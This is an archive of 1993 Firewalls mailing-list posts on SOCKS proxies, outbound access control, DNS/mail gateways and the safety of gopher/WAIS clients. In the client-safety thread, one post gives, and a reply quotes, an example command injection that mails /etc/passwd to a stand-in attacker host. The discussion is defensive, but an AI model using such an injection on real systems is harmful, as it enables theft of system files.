relay.sgi.com by sgi.sgi.com via SMTP (920330.SGI/910110.SGI) for firewalls@GreatCircle.COM id AA28730; Fri, 17 Sep 93 10:32:37 -0700 Received: from mti.mti.sgi.com by relay.sgi.com via SMTP (920330.SGI/920502.SGI) for @sgi.sgi.com:firewalls@GreatCircle.COM id AA24873; Fri, 17 Sep 93 10:32:31 -0700 Received: from machine.mti.sgi.com by mti.mti.sgi.com via SMTP (920110.SGI/911001.SGI) for @sgi.com:tkevans@fallst.es.dupont.com id AA20046; Fri, 17 Sep 93 10:32:27 -0700 Received: by machine.mti.sgi.com (930416.SGI/911001.SGI) for @mti.mti.sgi.com:firewalls@GreatCircle.COM id AA26545; Fri, 17 Sep 93 10:32:26 -0700 From: jes@machine.mti.sgi.com (John E. Schimmel) Message-Id: <9309171732.AA26545@machine.mti.sgi.com> Subject: Re: Mosaic To: tkevans@fallst.es.dupont.com (Tim Evans) Date: Fri, 17 Sep 1993 10:32:26 -0800 (PDT) Cc: firewalls@GreatCircle.COM In-Reply-To: from "Tim Evans" at Sep 17, 93 11:43:43 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 6791 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > > Does anyone know if/how mosaic might [can be made to] work in a > firewalled environment? Thanks. > > -- > INTERNET: tkevans@fallst.es.dupont.com > UUCP: {rutgers|ames|uunet}!mimsy!wb3ffv!fallst!tkevans > Tim Evans 2201 Brookhaven Ct, Fallston, MD 21047 > The latest version of socks includes a port of xmosaic using the socks protocol. What follows is the usenet announcement. John ##### ----------------------------------------------------######### John E. Schimmel jes@sgi.com ### ## ## # Sr. Programmer/Analyst Voice: (415)390-4116 ## # # # MIPS Technologies Inc. Fax: (415)390-6174 # # # ## -----------------------------------------------------# # ## # # A new release of SOCKS is available for anonymous ftp from host ftp.inoc.dl.nec.com (143.101.112.3), file pub/security/socks.cstc.4.0.tar.gz. This version is intended to run with identd user verification (RFC 1413), which is available as file pub/security/pidentd-2.1.2.tar.gz. Both of these are in Gnu's compressed form and required gzip to uncompress them. If you don't already have that you can also pick up the file pub/gnu/gzip-1.1.2.tar.Z. Remember to download them in binary mode. There are a few bug fixes: rftp no longer chops off password after 8 characters; 'eq ftp' now works; so does the use of macro SOCKS_DEFAULT_NS. I am enclosing the first part of the README.1st file which describes the new fearures. Besides SunOS 4.1.x, the new version has also been ported and tested on ULTRIX 4.3, IRIX 4.0.1, and partially on HPUX, thanks to Ian Dunkin and Anthony Shipman. Hope you can make good use of the package. Enjoy it. Ying-Da Lee (214)518-3490 (214)518-3552 (FAX) Principal Member, Technical Staff NEC Systems Laboratory, C&C Software Technology Center / NEC USA, Corporate Network Administration Division ylee@syl.dl.nec.com ======================================================================= This is SOCKS, a package consisting of a proxy server (sockd) and client programs corresponding to finger, whois, ftp, telnet, xgopher, and xmosaic, as well as a library module (libsocks.a) for adapting other applications into new client programs. The original SOCKS was written by David Koblas , which included the library module and finger, whois, and ftp clients. Clients programs added since the original are: -telnet: adapted from telnet.91.03.25 by David Borman . This version is supposed to be much easier than the previous one to port to many different systems. -xgopher: adapted from xgopher ver. 1.2 by Allan Tuchman . -xmosaic: adapted from xmosaic ver. 1.2 by NCSA staff (contact Marc Andreesen, ). The SOCKS protocol has changed with this version. Since the server and the clients must use the same SOCKS protocol, this server does not work with clients of previous releases, and these clients do not work with servers of previous releases. The access control mechanism has been expanded: -A list of users can be included along with other fields (source address, destination address, service/port) for permission/denial of access. -Identd is used (controlled by option -i and -I) in SOCKS server to try to verify the actual user-ids. The code uses the library written by Peter Eriksson and /Pdr Emanuelsson . -A shell command can optionally be specified with each line. The command is executed if the conditions of that line are satisfied. This is adapted from the same feature and code used in the log_tcp package by Wietse Venema . -Special entries (#NO_IDENTD: and #BAD_ID:) can be included to specify shell commands to be executed when the client host doesn't run identd and when identd's report doesn't agree with what the client prgram says. The following can be a reasonable sockd.conf using the new features: # Permit root on 129.101.64.3 all services permit *=root 129.101.64.3 0.0.0.0 # # Permit root and usersa on 129.101.112.10 telnet access to network 222.22.22 permit *=usera,root 129.101.112.10 0.0.0.0 222.22.22.0 0.0.0.255 eq telnet # # Permit all users on network 129.101 access to ftp permit 129.101.0.0 0.0.255.255 eq ftp # # Deny everything else. Upon an attempt, finger the client host and pipe # the result into an email to root with appropriate Subject line. deny 0.0.0.0 255.255.255.255 : finger @%A | /usr/ucb/mail -s 'SOCKD: rejected -- from %u@%A to host %Z (service %S)' root # # If the client doesn't run identd, tell the user and root there to run it. #NO_IDENTD: /usr/ucb/mail -s 'Please run identd on %A' %u@%A root@%A # # Someone is masquerading as someone else. Finger the client host # and pipe the result into an email message for local root and root on # the client host with appropriate Subject line. #BAD_ID: finger @%A | /usr/ucb/mail -s '%U pretends to be %u on host %A' root@%A root The test_sockd_conf program can be used to test the access control file, including the special entries and the execution of shell commands. The Identd server is available through anonymous ftp from many places. Consult archie. Or you can pick it up from ftp.inoc.dl.nec.com, the file is pub/security/pidentd-2.1.2.tar.gz. This copy corrected a mistake in the INSTALL file: In step 10, second paragraph, the line TELNET session and enter "4711 , 113", where you replace 4711 with the should read TELNET session and enter "113 , 4711", where you replace 4711 with the The author of pidentd is Peter Eriksson (pen@lysator.liu.se). Finally, the network/host byte order confusion has been cleaned up. That should make porting to other systems a lot easier. Only machines for which the assumptions that short=int=16 bits and long=32 bits do not hold are still likely to have serious problems. The package has been ported for ULTRIX 4.3 by Ian Dunkin and Anthony Shipman , for IRIX 4.0.1 by Ian Dunkin (again), and partially for HPUX by Anthony Shipman (again!). (We are a small bunch of busy bees.) I also include patches by Craig Metz to SOCKSize xarchie and ncftp. I have not try these patches out myself though. I want to thank all the people I have mentioned so far, as well as the following, who has helped with their bug reports, comments, and suggestions: Alain Mellan , Heinz Naef , Rejane Forre , Michael Lachowski , Nancy Ball , David Vincenzetti , LaMont Jones , Brandon Butterworth , Richard Schultz . From Firewalls-Owner Sat Sep 18 16:16:26 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03738; Sat, 18 Sep 93 16:16:26 GMT Received: from ti.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03731; Sat, 18 Sep 93 09:16:18 PDT Received: from tilde.csc.ti.com ([128.247.160.56]) by ti.com with SMTP (5.65c/LAI-3.2) id AA29580; Sat, 18 Sep 1993 11:22:26 -0500 Received: from phantom.itg.ti.com by tilde.csc.ti.com id AA10356; Sat, 18 Sep 1993 11:19:11 -0500 Received: from itg.ti.com (magic.itg.ti.com) by phantom.itg.ti.com (5.0/SMI-SVR4) id AA19866; Sat, 18 Sep 93 11:19:14 CDT Received: from maverick.itg.ti.com by itg.ti.com (4.1/ITG-1.1) id AA27804; Sat, 18 Sep 93 11:17:10 CDT Received: by maverick.itg.ti.com (1.37.109.4/16.2) id AA23798; Sat, 18 Sep 93 11:18:54 -0500 From: Bill Petersen Message-Id: <9309181618.AA23798@maverick.itg.ti.com> Subject: TCP Wrappers reversed To: firewalls@GreatCircle.COM Date: Sat, 18 Sep 1993 11:18:54 -0600 (CDT) X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1269 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk With all of the experienced and talented System Admins out there, surely someone already has what I am looking for. I have TCP Wrappers installed and love it. Now, I want to do something similar, but in reverse. TCP Wrappers allows me to permit/deny access to the various ip services on my host. Now, once someone is logged on to my host, I would like to be able to permit/deny access from my host to other hosts, with some granuality like TCP Wrappers. A router can do this, but for every user, not on a user by user, host by host (or group of hosts) basis. I have thought of writing a "wrapper" to go around telnet and ftp, which are the two services I am most concerned about at this point. Before I did, I wanted to see if someone else already has something like this or better. Any ideas? Thanks, Bill Petersen --------------------------------------------------------------------------- # Bill Petersen Unix System Administrator # # Texas Instruments email: bill.petersen@itg.ti.com # # 6550 Chase Oaks Blvd, M/S 8467 voice: 214-575-5437 # # Plano, Texas 75023 fax: 214-575-4853 # --------------------------------------------------------------------------- From Firewalls-Owner Sat Sep 18 19:31:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04217; Sat, 18 Sep 93 19:31:34 GMT Received: from cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04205; Sat, 18 Sep 93 12:31:25 PDT Received: from cs.umb.edu by cs.umb.edu with SMTP id AA06029 (5.65c/IDA-1.4.4 for ); Sat, 18 Sep 1993 15:34:13 -0400 Message-Id: <199309181934.AA06029@cs.umb.edu> To: firewalls@GreatCircle.COM Subject: Re: TCP Wrappers reversed In-Reply-To: Your message of "Sat, 18 Sep 1993 11:18:54 MDT." <9309181618.AA23798@maverick.itg.ti.com> Date: Sat, 18 Sep 1993 15:34:12 -0400 From: "John P. Rouillard" Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <9309181618.AA23798@maverick.itg.ti.com>, Bill Petersen writes: > I have TCP Wrappers installed and love it. Now, I want to do something > similar, but in reverse. TCP Wrappers allows me to permit/deny access > to the various ip services on my host. Now, once someone is logged on > to my host, I would like to be able to permit/deny access from my host > to other hosts, with some granuality like TCP Wrappers. Do you mean from your host, to other hosts under your control? If so, then the tcp wrappers with ident should work. This has about the same spoofability as finger etc, but it should work to restrict access. Then again, you could just not give them accounts on the other hosts. If you mean to hosts outside of your control, what is to stop my bringing in the correct telnet/ftp binary, or building it right on site, and getting around anything you put up? > A router can do this, but for every user, not on a user by user, > host by host (or group of hosts) basis. For sites outside your domain, the router approach may be the best you can do. You don't say what machine you are on, but it seems to me there were some kernel hacks for some *ix OS that restricted the socket and bind calls, but I don't remember any more that that. > I have thought of writing a "wrapper" to go around telnet and ftp, which > are the two services I am most concerned about at this point. Before > I did, I wanted to see if someone else already has something like this or > better. If I can telnet into your machine, I can install a proper telnet or ftp or anything else. The only way I know of that will do what you want is to hack the kernel. -- John John Rouillard Special Projects Volunteer University of Massachusetts at Boston rouilj@cs.umb.edu (preferred) Boston, MA, (617) 287-6480 Consulting Systems Programmer Bose rouilj@bose.com Framingham, MA (508) 879-1916 x6483 =============================================================================== My employers don't acknowledge my existence much less my opinions. From Firewalls-Owner Sun Sep 19 00:33:40 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04745; Sun, 19 Sep 93 00:33:40 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA04738; Sat, 18 Sep 93 17:33:33 PDT Received: by azalea.tis.com; id AA17773; Sat, 18 Sep 93 20:34:48 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA22890; Sat, 18 Sep 93 20:35:21 EDT Received: by otter.TIS.COM (5.65/client) id AA00501; Sat, 18 Sep 93 20:35:20 -0400 From: mjr@TIS.COM Date: Sat, 18 Sep 93 20:35:20 -0400 Message-Id: <501.9309190035@otter.TIS.COM> To: bill@itg.ti.com, firewalls@GreatCircle.COM Subject: Re: TCP Wrappers reversed Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >I have TCP Wrappers installed and love it. Now, I want to do something >similar, but in reverse. TCP Wrappers allows me to permit/deny access >to the various ip services on my host. Now, once someone is logged on >to my host, I would like to be able to permit/deny access from my host >to other hosts, with some granuality like TCP Wrappers. > >A router can do this, but for every user, not on a user by user, >host by host (or group of hosts) basis. As some folks have already pointed out, this kind of thing is a bit tricky to do by conventional means because it's hard to keep users from just getting their own copies of telnet sources or binaries - so modifying telnet is out of the question. You CAN accomplish this by firewalling off normal telnet and FTP traffic entirely, and installing proxy gateways on a bastion host. The proxy gateways can contain logic to manage what hosts can be connected to what hosts, and can contain user authentication routines. A disadvantage of this approach is that, in order to be really firewalled off, you need to block ALL traffic, not just telnet/ftp/etc, since it's too easy to run traffic over alternate ports, as the recent cracker's telnet proxy illustrates. You need to decide just HOW serious you are about having the level of access control you're asking for. If the answer is that you're really serious, then you don't have much else in the way of options. In a couple of weeks, we'll be releasing some proxy code that does exactly what I describe above, and has hooks in it to talk to a user authentication server (also included) that uses a variety of forms of authentication. Depending on the level of access control and precision of authentication you require, it may be just the thing for you. mjr. From Firewalls-Owner Mon Sep 20 01:01:21 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14105; Mon, 20 Sep 93 07:01:59 GMT Received: from staff.cc.purdue.edu ([128.210.7.43]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14098; Mon, 20 Sep 93 00:01:47 PDT Received: from localhost.cc.purdue.edu by staff.cc.purdue.edu (4.1/Purdue_CC) id AA12266; Sun, 19 Sep 93 18:41:53 EST Message-Id: <9309192341.AA12266@staff.cc.purdue.edu> To: Jeffrey L Bromberger Cc: Firewalls@GreatCircle.COM Subject: Re: DNS and mail gateway Date: Sun, 19 Sep 1993 18:41:51 -0500 From: William McVey Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Jeffrey L Bromberger wrote: >So, how should I go about setting up the DNS? The world needs to see >a wildcard MX record for everyone in the domain (and have it point to >the gateway). But the machine should also have the correct data to >pass it on to the internal network. We don't want our internal IP >numbers advertised outside; routers will make sure that external >packets make it to the inside just in case. >Any info you could give would be greatly appreciated! Sendmail.cf >files for both the gateway and representative internal host would put >you on my "I owe you" list :-) I personally recommend picking up a copy of the tutorial notes from last Summer's Usenix tutorial on "Achieving Security in the Internet Environment." It has lots of info on DNS and sendmail configurations to hide the topology of an internal net. As well as good "how to" on a variety of other firewall topics. I believe you can order the notes directly from usenix. Try sending mail to usenix@usenix.org for more info. -- William McVey Purdue University Computing Center From Firewalls-Owner Mon Sep 20 09:42:11 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15072; Mon, 20 Sep 93 09:42:11 GMT Received: from research.att.com ([192.20.225.3]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15065; Mon, 20 Sep 93 02:42:04 PDT Message-Id: <9309200942.AA15065@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by bigbird.zoo.att.com; Sun Sep 19 20:35:15 EDT 1993 To: firewalls@GreatCircle.COM Subject: safety of gopher/wais clients Cc: jis@usl.com Date: Sun, 19 Sep 93 20:35:13 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Has anyone assessed the safety of gopher and/or wais clients? The gopher protocol has a couple of potential holes, though I'm not sure how serious they are in reality. For example, there's one file type representing a uuencoded file. But that format includes a file name; a naive client could simply fork/exec uudecode, to the detriment of the user of gopher. (I should note that neither client I examined (gopher 1.2 and xgopher 1.2) did anything like that.) Similarly, there's a MIME tag in gopher 1.2, and for it, the client does indeed invoke the mime interpreter. Is this a safe thing to do? It may be no more dangerous than MIME mail, but I haven't evaluated that, either... I haven't looked at WAIS or WWW yet, mostly because I can't find any documents defining the protocol. (I know, I should use WAIS to find them...). --Steve Bellovin From Firewalls-Owner Mon Sep 20 17:03:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA20154; Mon, 20 Sep 93 17:03:39 GMT Received: from tigger.jvnc.net ([128.121.50.145]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA20147; Mon, 20 Sep 93 10:03:31 PDT Received: by tigger.jvnc.net id AA12060 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Mon, 20 Sep 1993 13:06:24 -0400 Date: Mon, 20 Sep 1993 13:06:24 -0400 From: Moodys Investors Service Message-Id: <199309201706.AA12060@tigger.jvnc.net> To: firewalls@GreatCircle.COM Subject: rev. wrap.-- > telnet Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi All! Think we're gonna have big storms again this fall? Well, anyway, mjr wrote: it's hard to keep users from just getting their own telnet sources. I for one would like to start modifying mine in anticipation of S. Bellovin's puesdo-net. My own application was kermit. I want to create a way to communicate w/ kermit using pipes in a multi-thread locking fashion so that multiple processes can work w/ machines that don't run IP ( which is much of the known universe.) I could also hack the chat script in my native lang, (k?)sh, and employ any other tools at hand. Actually, I cant seem to work this into a firewalls issue although it feels like one. If the kermit ( only an example ) were really both client and server simultaneously, it seems that it would make a very safe passage and the passed messages could be easily encrypted and queued. Unfortunately, whoever answers postings in the kermit group keeps telling me to buy the book. The worst is that I seem to be paid *NOT* to program, go figger, which brings me to the figger daemon, my answer to the fingerd controversy. The client is go ( of course ) and if I ever figger troff I'll submit a paper. John vV From Firewalls-Owner Mon Sep 20 18:17:47 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21243; Mon, 20 Sep 93 18:17:47 GMT Received: from interlock.arinc.com ([144.243.4.2]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21236; Mon, 20 Sep 93 11:15:47 PDT Received: by interlock.arinc.com id AA03443 (InterLock SMTP Gateway 1.1 for firewalls@greatcircle.com); Mon, 20 Sep 1993 14:16:33 -0400 Date: Mon, 20 Sep 1993 14:16:33 -0400 From: InterLock Administrator Message-Id: <199309201816.AA03443@interlock.arinc.com> To: firewalls@GreatCircle.COM Subject: request for info Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Can you tell me how to access info regarding firewalls? ARINC Internet Gateway Administrator JWT in CC:Mail jwt@arinc.com via internet John Taylor @ 410-266-4802 From Firewalls-Owner Mon Sep 20 11:43:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21305; Mon, 20 Sep 93 18:31:24 GMT Received: from netcomsv.netcom.com ([192.100.81.101]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA21291; Mon, 20 Sep 93 11:31:12 PDT Received: from delfin.com by netcomsv.netcom.com (4.1/SMI-4.1) id AA03183; Mon, 20 Sep 93 11:34:32 PDT Received: by delfin.com (4.1/SMI-4.1 - 6/21/93 ) id AA28574; Mon, 20 Sep 93 11:36:07 PDT Date: Mon, 20 Sep 93 11:36:07 PDT From: cyu@delfin.com (Cristina Ungstad Yu) Message-Id: <9309201836.AA28574@delfin.com> To: Firewalls@GreatCircle.COM Subject: Remote ftp, iftp, etc from behind a firewall Cc: cyu@delfin.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Questions about iftp and remote-socket: I've got an internal network with an invalid address. So what I do is have one machine gateway between the invalid network and my Internet provider. One side of my gateway machine has the bad number, which my LAN looks at, the other side has the good number, which the world look at. >From my gateway machine, i can ftp,telnet and ping to the rest of the world. But from an internal machine on my badly-addressed network I can't. I'd kinda like to keep the bad address around, so that my gateway acts like a firewall. For security, you know. However, I'd like my other machines to be able to ftp, telnet and ping out to the rest of the world. I've heard that gated would let me do that. It looks like it didn't. But I've also heard that iftp and itelnet would let me do it, but it costs too much money. Does anyone know of some freeware i could use? Any clues would be really appreciated. Thanks in advance. -Cristina cyu@delfin.com From Firewalls-Owner Mon Sep 20 12:13:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA00275; Mon, 20 Sep 93 18:53:43 GMT Received: from mercury.house.gov by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA00244; Mon, 20 Sep 93 11:53:32 PDT Received: from cobalt.house.gov by mercury.house.gov with SMTP (1.37.109.4/16.2) id AA12831; Mon, 20 Sep 93 14:51:29 -0400 Received: by cobalt.house.gov (AA02297); Mon, 20 Sep 93 13:55:23 -0700 Date: Mon, 20 Sep 93 13:55:23 -0700 From: Dorian Deane Message-Id: <9309202055.AA02297@cobalt.house.gov> To: firewalls@GreatCircle.COM Subject: Re: safety of gopher/wais clients Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Steve Bellovin writes: > > Has anyone assessed the safety of gopher and/or wais clients? The > gopher protocol has a couple of potential holes, though I'm not sure > how serious they are in reality. For example, there's one file type > representing a uuencoded file. But that format includes a file name; > a naive client could simply fork/exec uudecode, to the detriment of > the user of gopher. (I should note that neither client I examined > (gopher 1.2 and xgopher 1.2) did anything like that.) Similarly, there's > a MIME tag in gopher 1.2, and for it, the client does indeed invoke > the mime interpreter. Is this a safe thing to do? It may be no > more dangerous than MIME mail, but I haven't evaluated that, either... > I don't have a great answer, but I humbly provide my thoughts in the hope of stimulating further discussion, since I'm also interested in other perspectives on this issue. It seems to me, without ever having looked at the source code, that any of these clients implementations, if designed naively, could be extremely dangerous. Both WAIS and WWW will try to bring up xv on a machine, but what other arguments are provided and how does the client handle these extra arguments? For example: xv pretty-picture; mail badhat@darkmachine.notrace.com < /etc/passwd Or something more subtle if anyone feels bound to point out that shadow passwords would prevent this leak. There must be others who know more. I had given some thought to the server issues, but not the client side. dorian From Firewalls-Owner Mon Sep 20 22:24:35 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03126; Mon, 20 Sep 93 22:24:35 GMT Received: from telemann.inoc.dl.nec.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03119; Mon, 20 Sep 93 15:24:14 PDT Received: by telemann.inoc.dl.nec.com (4.1/YDL1.9-920831.09) id AA12456(telemann.inoc.dl.nec.com); Mon, 20 Sep 93 17:26:51 CDT Received: by texas.syl.dl.nec.com (4.1/YDL1.9-930614.17) id AA12092(texas.syl.dl.nec.com); Mon, 20 Sep 93 17:26:48 CDT Received: by florida.syl.dl.nec.com (4.1/YDL1.9-920708.13) id AA18556(florida.syl.dl.nec.com); Mon, 20 Sep 93 17:26:46 CDT Date: Mon, 20 Sep 93 17:26:46 CDT From: ylee@syl.dl.nec.com (Ying-Da Lee) Message-Id: <9309202226.AA18556@florida.syl.dl.nec.com> To: Firewalls@GreatCircle.COM, cyu@delfin.com Subject: Re: Remote ftp, iftp, etc from behind a firewall Cc: ylee@syl.dl.nec.com Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk You can do what you intend to do with version 4.0 of socks.cstc and the patch for dual-homed hosts. They are available by anonymous ftp from host ftp.inoc.dl.nec.com, files socks.cstc.4.0.tar.gz and socks.cstc.4.0.dualhomed.patch, both in directory pub/security. You will also need the file pub/gnu/gzip-1.2.4.tar.Z if you don't already have Gnu's compression/uncompression programs. You may also want pub/security/pidentd-2.1.2.tar.gz for user verification. It gives you client programs for finger, xgopher, and xmosaic besides telnet and ftp. If you are really adventurous, you may want to try the beta version of the next version, which has a true multi-homed version of servers. It also includes clients that connect to outside hosts through SOCKS servers but connect directly to your inside hosts. This saves your users the bother of having to remember whether to use ftp or rftp, for example. Email me if you want to try the beta version. Ying-Da Lee (214)518-3490 (214)518-3552 (FAX) Principal Member, Technical Staff NEC Systems Laboratory, C&C Software Technology Center / NEC USA, Corporate Network Administration Division ylee@syl.dl.nec.com From Firewalls-Owner Mon Sep 20 22:48:55 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03184; Mon, 20 Sep 93 22:48:55 GMT Received: from versant.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA03177; Mon, 20 Sep 93 15:48:48 PDT Received: from osc.versant.com by versant.com (4.1/SMI-4.1) id AA14770; Mon, 20 Sep 93 15:54:41 PDT Message-Id: <9309202254.AA14770@versant.com> To: Dorian Deane Cc: firewalls@GreatCircle.COM, smb@research.att.com, strick@osc.versant.com Subject: Re: safety of gopher/wais clients In-Reply-To: Your message of "Mon, 20 Sep 93 13:55:23 PDT." <9309202055.AA02297@cobalt.house.gov> Date: Mon, 20 Sep 93 15:51:54 -0700 From: strick -- henry strickland Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk THUS SPAKE Dorian Deane : # # Steve Bellovin writes: # > # > Has anyone assessed the safety of gopher and/or wais clients? The # # It seems to me, without ever having looked at the source code, that any # of these clients implementations, if designed naively, could be # extremely dangerous. Here's an unusual one. Both Gopher and WWW direct the client to connect to certain port on a certain internet host and say a certain phrase in order to fetch documents. Someone abused one of these (I forget which version of which one) by creating a document whose links, when traversed, would have the client connect to port 25 (the SMTP (sendmail) port) of some site and send an ugly letter to someone. It's interesting, because it hasn't violated any protections. If you're allowed to connect to port 25 and send mail, you're allowed to do it. It's more of an stupid prank. # xv pretty-picture; mail badhat@darkmachine.notrace.com < /etc/passwd So there's going to be different issues for holes created/allowed by clients and those created/allowed by the server. The above example is quite different from tricking a server into sending you a passwd file, which is what I usually think of as the risks of running a Gopher/WWW/Wais server. (One of them did suffer from a ".." hole at one point.) The fact that clients interpret and execute code that can exec shell commands puts them in the same category as editors (vi) and mail user agents (the MIME metamail client?) that have the same features. Steve Bellovin writes: > I haven't looked at WAIS or WWW yet, mostly because I can't find > ny documents defining the protocol. (I know, I should use WAIS > o find them...). You should ftp the source to them. They include docs and specs. Actually, I think the Gopher/WWW/Wais protocols are the correct direction the net should take for distributing information. The protocols themselves are quite harmless. You've just got the same old implementation risks as always... strick From brent Mon Sep 20 18:16:50 1993 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA09025; Mon, 20 Sep 93 17:18:36 PDT Return-Path: Firewalls-Owner Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA20154; Mon, 20 Sep 93 17:03:39 GMT Received: from tigger.jvnc.net ([128.121.50.145]) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA20147; Mon, 20 Sep 93 10:03:31 PDT Received: by tigger.jvnc.net id AA12060 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Mon, 20 Sep 1993 13:06:24 -0400 Date: Mon, 20 Sep 1993 13:06:24 -0400 From: Moodys Investors Service Message-Id: <199309201706.AA12060@tigger.jvnc.net> To: firewalls@GreatCircle.COM Subject: rev. wrap.-- > telnet Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Hi All! Think we're gonna have big storms again this fall? Well, anyway, mjr wrote: it's hard to keep users from just getting their own telnet sources. I for one would like to start modifying mine in anticipation of S. Bellovin's puesdo-net. My own application was kermit. I want to create a way to communicate w/ kermit using pipes in a multi-thread locking fashion so that multiple processes can work w/ machines that don't run IP ( which is much of the known universe.) I could also hack the chat script in my native lang, (k?)sh, and employ any other tools at hand. Actually, I cant seem to work this into a firewalls issue although it feels like one. If the kermit ( only an example ) were really both client and server simultaneously, it seems that it would make a very safe passage and the passed messages could be easily encrypted and queued. Unfortunately, whoever answers postings in the kermit group keeps telling me to buy the book. The worst is that I seem to be paid *NOT* to program, go figger, which brings me to the figger daemon, my answer to the fingerd controversy. The client is go ( of course ) and if I ever figger troff I'll submit a paper. John vV From Firewalls-Owner Mon Sep 20 18:52:34 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA09335; Tue, 21 Sep 93 00:53:53 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA09327; Mon, 20 Sep 93 17:53:40 PDT Message-Id: <9309210053.AA09327@mycroft.GreatCircle.COM> To: William McVey Cc: Jeffrey L Bromberger , Firewalls@GreatCircle.COM Subject: Re: DNS and mail gateway In-Reply-To: Your message of Sun, 19 Sep 1993 18:41:51 -0500 Date: Mon, 20 Sep 1993 17:53:39 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk # I personally recommend picking up a copy of the tutorial notes from # last Summer's Usenix tutorial on "Achieving Security in the Internet # Environment." It has lots of info on DNS and sendmail configurations # to hide the topology of an internal net. As well as good "how to" on # a variety of other firewall topics. # # I believe you can order the notes directly from usenix. Try sending # mail to usenix@usenix.org for more info. Extra copies of the tutorial notes for USENIX tutorials are usually available ONLY at the conference where the tutorial was presented. This has been USENIX's agreement with its tutorial authors for as long as I've been doing tutorials for them (the last couple of years). There has been talk, however, of making tutorial notes available beyond the conference, with a suitable royalty to the authors. I'm not sure if the notes you're referring to fall under such a new agreement. Whatever you do, though, please don't just go and photocopy someone else's tutorial notes; that cheats the authors, who put a LOT of work into those things. If USENIX can't or won't let you have a copy of the notes, you might be able to get them from the authors. That particular tutorial was done by Tina Darmohray (tmd@eticket.llnl.gov) and Rob Kolstad (kolstad@bsdi.com). -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Mon Sep 20 19:43:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA09703; Tue, 21 Sep 93 01:33:11 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA09695; Mon, 20 Sep 93 18:33:05 PDT Message-Id: <9309210133.AA09695@mycroft.GreatCircle.COM> To: firewalls@GreatCircle.COM Subject: Re: TCP Wrappers reversed In-Reply-To: Your message of Sat, 18 Sep 1993 15:34:12 -0400 Date: Mon, 20 Sep 1993 18:33:03 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk "John P. Rouillard" writes: # > I have thought of writing a "wrapper" to go around telnet and ftp, which # > are the two services I am most concerned about at this point. Before # > I did, I wanted to see if someone else already has something like this or # > better. # # If I can telnet into your machine, I can install a proper telnet or # ftp or anything else. The only way I know of that will do what you # want is to hack the kernel. Has anyone looked at what it would take to add access control to network services to the BSD/386 or 386BSD kernel source? I smell a paper here; any takers? -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Mon Sep 20 20:43:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM 